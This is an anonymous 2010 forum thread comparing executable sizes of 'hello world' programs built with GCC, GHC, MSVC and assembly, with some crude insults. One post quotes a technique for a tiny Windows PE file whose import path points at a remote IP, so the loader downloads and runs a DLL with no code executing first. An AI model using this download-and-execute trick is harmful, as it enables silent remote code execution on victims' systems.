Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon.

Pages: 1-4041-

Why GCC executable are so bloated?

Name: Anonymous 2010-07-20 8:24

7kb of code for hello world?

Name: Anonymous 2010-07-20 8:46

http://timelessname.com/elfbin/

7k ain't exactly bloat these days.  Besides, write a couple thousand more lines of code and you'll find that the size doesn't grow that much (unless you write C++).

Name: Anonymous 2010-07-20 8:47

You can blame the linker and the ELF binary format, but mostly the linker, which inserts lots of stuff that isn't stricly needed into the binary.

Here's a guide for reducing ELF binary size:
http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html

Name: Anonymous 2010-07-20 9:42

Even more interesting is the fact that you can specify a UNC path in the import section of the PE file. If we specify \\66.93.68.6\z as the name of the imported DLL, the Windows loader will try to download the DLL file from our web server.

This allows us to create a PE file that downloads and excutes a file from the Internet without executing a single line of code. All we have to do is put our payload in the DllMain function in the DLL, put the DLL on a publicly accessible WebDAV server and specify the UNC path to the file in the imports section of the PE file. When the loader processes the imports of the PE file, it will load the DLL from the WebDAV server and execute its DllMain function.

;
; The DLL name should be at most 16 bytes, including the null terminator
;

dllname:
    db "\\66.93.68.6\z", 0
    times 16-($-dllname) db 0

The size of the PE file with a UNC import is still only 133 bytes.

WARNING: The PE file linked below is live. It will attempt to download and execute a payload DLL from http://66.93.68.6/z. The DLL will display a message box and exit, but you should take proper precautions and treat it as untrusted code.

Name: Anonymous 2010-07-20 9:51

>>4
Windows: Security enhanced.

Name: Anonymous 2010-07-20 9:57

It's gotten bad when you think that 7kb (kB?) is bloated.

Name: Anonymous 2010-07-20 10:00

>>6
KB.

Name: Anonymous 2010-07-20 10:03

I'd rather discuss kibibytes.

Name: Anonymous 2010-07-20 10:40

% cat Hello.hs
import IO

main = putStrLn "Hello World!"
% ghc --make Hello.hs
[1 of 1] Compiling Main             ( Hello.hs, Hello.o )
Linking Hello ...
% du -h Hello
712K    Hello

Name: Anonymous 2010-07-20 10:47

>>6
It's pretty bad when you think it's not bloated. I remember when 7kb was a lot of space!

Name: Anonymous 2010-07-20 10:55

>>10
PROTIP:As software requirements increase, so does overhead; what was once fine a couple of decades ago, may not be good enough today. GCC is a general compiler system that targets today's general systems; when you have special requirements that differ from the general configuration, it's your own job to figure out how to contort the system to fit them.

Name: Anonymous 2010-07-20 10:59

>>11
PROTIP: Shut the fuck up and get back to /b/; you are spouting gibberish.

Name: Anonymous 2010-07-20 11:06

>>4
UNC path in the import section of the PE file.
You've got to be shitting me?

Name: Anonymous 2010-07-20 11:06

>>10
If you wish to return to that time when 7kb was considered "a lot of space," then I won't stop you; but, I think I would rather stay here.

Name: Anonymous 2010-07-20 11:29

>>14
The next thing you'll be telling me to install flash (unsafe!) and GHC (350MB! That's almost one thousandth of my disk space!).

Name: Anonymous 2010-07-20 12:50

>>15
If you truly thought like that with everything then your disk would fill with Java runtime and Emacs pretty quickly.

Name: Anonymous 2010-07-20 14:19

>>13 Windows Quality
http://seclists.org/dailydave/2006/q4/128

Name: Anonymous 2010-07-20 14:53

/bin/true on my system is 21KB.

Name: Anonymous 2010-07-20 15:01

>>18
15.4KB here, it has --help and --version options.
But I always choose to use my shell's version of true, which is most probably much smaller.

Name: Anonymous 2010-07-20 15:06

>>18
/* Exit with a status code indicating success.
   Copyright (C) 1999-2003, 2005, 2007-2010 Free Software Foundation, Inc.

   This program is free software: you can redistribute it and/or modify
   it under the terms of the GNU General Public License as published by
   the Free Software Foundation, either version 3 of the License, or
   (at your option) any later version.

   This program is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   GNU General Public License for more details.

   You should have received a copy of the GNU General Public License
   along with this program.  If not, see <http://www.gnu.org/licenses/>;.  */

#include <config.h>
#include <stdio.h>
#include <sys/types.h>
#include "system.h"

/* Act like "true" by default; false.c overrides this.  */
#ifndef EXIT_STATUS
# define EXIT_STATUS EXIT_SUCCESS
#endif

#if EXIT_STATUS == EXIT_SUCCESS
# define PROGRAM_NAME "true"
#else
# define PROGRAM_NAME "false"
#endif

#define AUTHORS proper_name ("Jim Meyering")

void
usage (int status)
{
  printf (_("\
Usage: %s [ignored command line arguments]\n\
  or:  %s OPTION\n\
"),
          program_name, program_name);
  printf ("%s\n\n",
          _(EXIT_STATUS == EXIT_SUCCESS
            ? N_("Exit with a status code indicating success.")
            : N_("Exit with a status code indicating failure.")));
  fputs (HELP_OPTION_DESCRIPTION, stdout);
  fputs (VERSION_OPTION_DESCRIPTION, stdout);
  printf (USAGE_BUILTIN_WARNING, PROGRAM_NAME);
  emit_ancillary_info ();
  exit (status);
}

int
main (int argc, char **argv)
{
  /* Recognize --help or --version only if it's the only command-line
     argument.  */
  if (argc == 2)
    {
      initialize_main (&argc, &argv);
      set_program_name (argv[0]);
      setlocale (LC_ALL, "");
      bindtextdomain (PACKAGE, LOCALEDIR);
      textdomain (PACKAGE);

      atexit (close_stdout);

      if (STREQ (argv[1], "--help"))
        usage (EXIT_STATUS);

      if (STREQ (argv[1], "--version"))
        version_etc (stdout, PROGRAM_NAME, PACKAGE_NAME, Version, AUTHORS,
                     (char *) NULL);
    }

  exit (EXIT_STATUS);
}

GNU quality!!!

Name: Anonymous 2010-07-20 15:08

>>18
My /bin/true and /bin/false are both 22120 bytes long.

int main(int argc, char **argv) { return 0; } compiled with gcc is 6192 bytes long.

What's all that 15928-bytes long payload???

Name: Anonymous 2010-07-20 15:10

You should have received a copy of the GNU General Public License
   along with this program.  If not, see <" target="_blank">http://www.gnu.org/licenses/>;;.  */

wat

Name: Anonymous 2010-07-20 15:12

>>22
You should have received a copy of the GNU General Public License
   along with this program.  If not, see <" target="_blank">" target="_blank">http://www.gnu.org/licenses/>;;;.  */
lol I love shitchan bugs

Name: Anonymous 2010-07-20 15:22

>>21
See >>20

I've actually had a use for /bin/false, but I don't think I've ever come across a case where /bin/true was required outside of a shell builtin.

The only part that actually disturbs me is that /bin/true and /bin/false are separate programs (compiled from different source files as >>20 has it.) I thought we stopped that long ago.

Name: Anonymous 2010-07-20 15:24

>>23
Its probably trying to avoid XSS

Name: Anonymous 2010-07-20 15:25

>>24
false and true are only useful in case of nonstandard L/unix environments. Its for scripts to check if EXIT_SUCCESS/EXIT_FAILURE are the same for some local program.

Name: Anonymous 2010-07-20 15:26

>>25
It can never avoid having its anus XSSd.

Name: Anonymous 2010-07-20 15:30

Both true and false should be wrappers for a ? program that returns whatever number it is given.

Name: Anonymous 2010-07-20 15:56

>>27
XAS

Name: Anonymous 2010-07-20 16:28

>>25
It isn't trying to avoid anything. It's just failing miserably.

Name: Anonymous 2010-07-20 22:13

   along with this program.  If not, see <" target="_blank">" target="_blank">http://www.gnu.org/licenses/>;;;;.  */

Name: Anonymous 2010-07-21 1:16

Pure basic  HelloWorld=2kb
Tcc HelloWorld=1.5kb
FASM=about 1.5kb too
GCC without standard libs takes 1.5kb, but does not work obviously. The idea is that GCC adds 5.5kb of junk from its libs.

Name: Anonymous 2010-07-21 2:06

>>32
Wait, what? Why wouldn't GCC without standard libs work?

Name: Anonymous 2010-07-21 2:11

>>33
because compiling printf("Hello world") without printf inside libs is impossible.

Name: Anonymous 2010-07-21 2:22

>>34
Use write(2) wise guy.

Name: Anonymous 2010-07-21 2:29

$ cat hello.c
#include <stdio.h>
#include <stdlib.h>

char *environ, *__progname;

int _start(int argc, char *argv[argc])
{ exit(puts("Hello, World!")); }
$ gcc $CFLAGS -Os -s -nostdlib -lc -o hello hello.c
$ du -AhB1 hello
1,6K    hello

Name: Anonymous 2010-07-21 2:38

I can probably get a Hello World into 1-2kb using MSVC with the right compiler and linker options. Using printf or puts wouldn't make a real difference since all libc calls would be external anyway. Statically linking libc would cost some 60KB.

Name: Anonymous 2010-07-21 2:40

>>36
1,6K
Back to France, please.

Name: Anonymous 2010-07-21 2:40

>>34
Imports motherfucker, do you use them? The following gives 1KB.


C:\>type hello.c
#include <stdio.h>

int main() {
 printf("Hello world!\n");
 return 0;
}
C:\>cl /nologo /MD /Os hello.c /link /align:4096 /filealign:512 /merge:.data=.text /merge:.rdata=.text /section:.text,EWR /stub:stub64.exe /entry:main
C:\>hello
Hello world!

C:\>

Trimming off all the zeros at the end (WTF?) it comes down to 628 bytes. Not a bad amount of overhead at all.

Name: Anonymous 2010-07-21 2:45

>>38
$ echo $LC_ALL
is_IS.UTF-8

perhaps it is you who should go back to france, please.

Name: Anonymous 2010-07-21 3:05

>>39
Not bad, filealign + merge did the trick. Setting the entrypoint directly removed some 100+ bytes of overhead(the entrypoint function is always statically linked, as it can sometimes contain application specific information. Any functions the entrypoint used would either be linked dynamically or statically, depending on the options), however setting the entrypoint like that won't generate a portable Win32 executable (it may fail when used in some (future) Win32's or when using some executable packers/protections). The reason for this is because your code will get translated to something like(I just posted what it does on my box):

.00401016: 55                             push        ebp
.00401017: 8BEC                           mov         ebp,esp
.00401019: 6808104000                     push        000401008 ;'Hello world!' --↑1
.0040101E: FF1500104000                   call        printf
.00401024: 59                             pop         ecx
.00401025: 33C0                           xor         eax,eax
.00401027: 5D                             pop         ebp
.00401028: C3                             retn
.00401029: CC                             int         3
.0040102A: CC                             int         3
.0040102B: CC                             int         3
[code]
So you have the function prologue/epilogue (can be eliminated by increasing optimization settings, /Ox should do the trick:
[code]
00401016: 6808104000                     push        00401008 ;'Hello world!' --↑1
0040101B: FF1500104000                   call        printf
00401021: 59                             pop         ecx
00401022: 33C0                           xor         eax,eax
00401024: C3                             retn)

This code just calls printf and returns 0. So far, so good, but, did you consider to who you are returning?
Windows has traditionally placed a stub to ExitThread on the stack(

Application starts with top of stack looking like:
0012FFC4   7C816FD7  RETURN to kernel32.7C816FD7

7C816FD7    50              PUSH EAX
7C816FD8    E8 7B50FFFF     CALL kernel32.ExitThread), so you'd get the expected results (it also places a SEH handler and some other useful things), but it doesn't have to do any of that(it's undocumented behaviour), so a compliant Win32 application should call ExitProcess or ExitThread when they need to exit (or do it portably through libc).

Name: Anonymous 2010-07-21 3:27

>>39
try this, it should be a few bytes smaller:
#include <stdio.h>
int main(void){ return puts("Hello, World!"); }

Name: Anonymous 2010-07-21 4:05

>>40
Fuck off, ``faggot''.

Name: Anonymous 2010-07-21 4:09

>>43
* fuque off

Name: Anonymous 2010-07-21 4:36

>>43
All right, this shit HAS TO STOP !!

Name: Anonymous 2010-07-21 6:26

>>44
Allez à la France, ``salope''.

Name: Anonymous 2010-07-21 6:58

"GRUNNUR"

Name: Anonymous 2010-07-21 10:42

>>9
% ghc -O --make -dynamic Hello.hs -o Hello
[1 of 1] Compiling Main             ( Hello.hs, Hello.o )
Linking Hello ...
% du -h Hello
24K    Hello

Name: Anonymous 2010-07-21 11:31

>>9,48
Why do you use du -h instead of ls -l?

This way even I can make a "Hello World" bash script which may use several MB on a improperly formatted filesystem.

Or IABT?

Name: Anonymous 2010-07-21 11:41

>>49
Why do you use du -h instead of ls -l?
Why do you eat soup with a spoon even though you could easily pour it into a glass and sip it?

Name: Anonymous 2010-07-21 11:45

>>40
Friðrik Skúlason, in my /prog/?

Name: not >>49 2010-07-21 11:55

section .data
  output db "Hello",10
  olen   equ $ - output

section .text
  global _start
_start:
  xor rax,rax
  inc rax
  mov rdi,rax
  mov rsi,output
  mov rdx,olen
  syscall

  mov rax,60
  mov rdi,0
  syscall

1082 bytes.

>>50
What if you want to know the file size, not the space it takes up? Huh? What now ``faggot''?

Name: Anonymous 2010-07-21 11:58

>>52
MOV MY ANUS

Name: Anonymous 2010-07-21 12:35

What if you want to know the file size, not the space it takes up?
du -hAB1

Name: Anonymous 2010-07-21 14:09

>>54
Almost got me there.

Name: Anonymous 2010-07-21 20:30

>>54
My du doesn't have an -A option, you BASH!

Name: Anonymous 2010-07-21 21:56

wc -c

Name: Anonymous 2010-07-22 1:48

what would hello world written in unix/windows asm come out to?

Name: Anonymous 2010-07-22 2:46

>>58
Few hundred bytes, in .com/.obj format few dozens.

Name: Anonymous 2010-07-22 3:04

>>58
.comm environ, 0
.comm __progname, 0

hello: .string  "Hello, World!"

.globl _start
_start:
        pushl   $hello
        call    puts
        call    exit

Name: Anonymous 2010-07-22 3:17

>>56
your toy operating system's du probably has an --apparent-size option that does the same thing.

Name: Anonymous 2010-07-22 3:19

>>61
My toy OS doesn't even have -B. Fuck Macs.

Name: Anonymous 2010-07-22 3:28

>>62
You do know Macs aren't meant to actually be used, right? You're supposed to just set it up somewhere conspicuous and admire it from a distance.

Name: Anonymous 2010-07-22 9:14

>>63
Steam on Mac... how did it get there?

Name: Anonymous 2010-07-22 9:51

>>62
*EMacs

Name: Anonymous 2010-07-25 4:51

uggBtAnNIcNIZWxsbywgV29ybGQhJA==

Name: Anonymous 2010-07-25 5:23

>>64
Dunno. Steve Jobs never approved it.

Name: Anonymous 2010-07-25 8:41


section    .text
    global    _start

_start:
    mov    eax, 0x4
    mov    ebx, 0x1
    mov    ecx, msg
    mov    edx, 0xF
    int    0x80

    mov    eax, 0x1
    mov    ebx, 0x0
    int    0x80

section    .data
msg:    dw    "Hello, world!", 0xa


 _________________________________________
/ Assembles and links to 364 bytes. Maybe \
\ you guys are doing something wrong!     /
 -----------------------------------------
     \
      \
             ,;;;;;;;,
            ;;;;;;;;;;;,
           ;;;;;'_____;'
           ;;;(/))))|((\
           _;;((((((|))))
          / |_\\\\\\\\\\\\
     .--~(  \ ~))))))))))))
    /     \  `\-(((((((((((\\
    |    | `\   ) |\       /|)
     |    |  `. _/  \_____/ |
      |    , `\~            /
       |    \  \           /
      | `.   `\|          /
      |   ~-   `\        /
       \____~._/~ -_,   (\
        |-----|\   \    ';;
       |      | :;;;'     \
      |  /    |            |
      |       |            |

Name: Anonymous 2010-07-25 8:59

>>68

 xchg bp, ax
 mov dx, .msg
 int 21h
 ret
msg:
 db "Hello world!$"

Assembles and links to 20 bytes. Maybe you guys are doing something wrong!

Name: Anonymous 2010-07-25 9:06

>>69

Something wrong has indeed been done!

Name: Anonymous 2010-07-25 10:10

>>69
In Windows you can't use ret. Its unpythonic.

Name: Anonymous 2010-07-25 10:14

>>71
ExitProcess is not required actually. It won't complain about 'ret' in some toy program.

Name: Anonymous 2010-07-25 10:28

>>72
See >>41 for an explanation on why it needs to be in a portable Win32 program. It's not truly required(ExitProcess) and will work fine in a lot of WINNTs, but it most certainly is not portable code(across Windows). Also, >>69's code is probably for 16bit DOS, but even there, you have to invoke an interrupt to terminate the program.

Name: Anonymous 2010-07-25 10:38

>>69
On Windows, that's simply not possible. The PE spec disallows programs smaller than 1024 bytes or somewhere in that region.

Name: Anonymous 2010-07-25 11:01

>>74
No, it doesn't, here's a (meaningful) example under:
http://blogs.securiteam.com/index.php/archives/675

You can probably get non-meaningful ones at ~150bytes.

If no special tricks are used, PE files generated by a C compiler and linked with the right flags and possibly re-aligned further can be gotten down to some 500-600bytes with ease.

Name: Anonymous 2010-07-25 11:44

>>69
>>66 already posted pretty much the same thing.

Name: Anonymous 2010-07-25 11:47

______________________________________
(>>69 still uses DOS 16-bit registers )
( and int 21h![code]                         )
 --------------------------------------
       o   ,__,
        o  (oo)____
           (__)    )\
              ||--|| *

Name: Anonymous 2010-07-25 11:53

>>77
right tool for the job
Don't change these.
Name: Email:
Entire Thread Thread List
All trademarks and copyrights on this site are owned by their respective parties. All comments and posts are the responsibility of their own posters.
- Tinychan + 2ch Mode -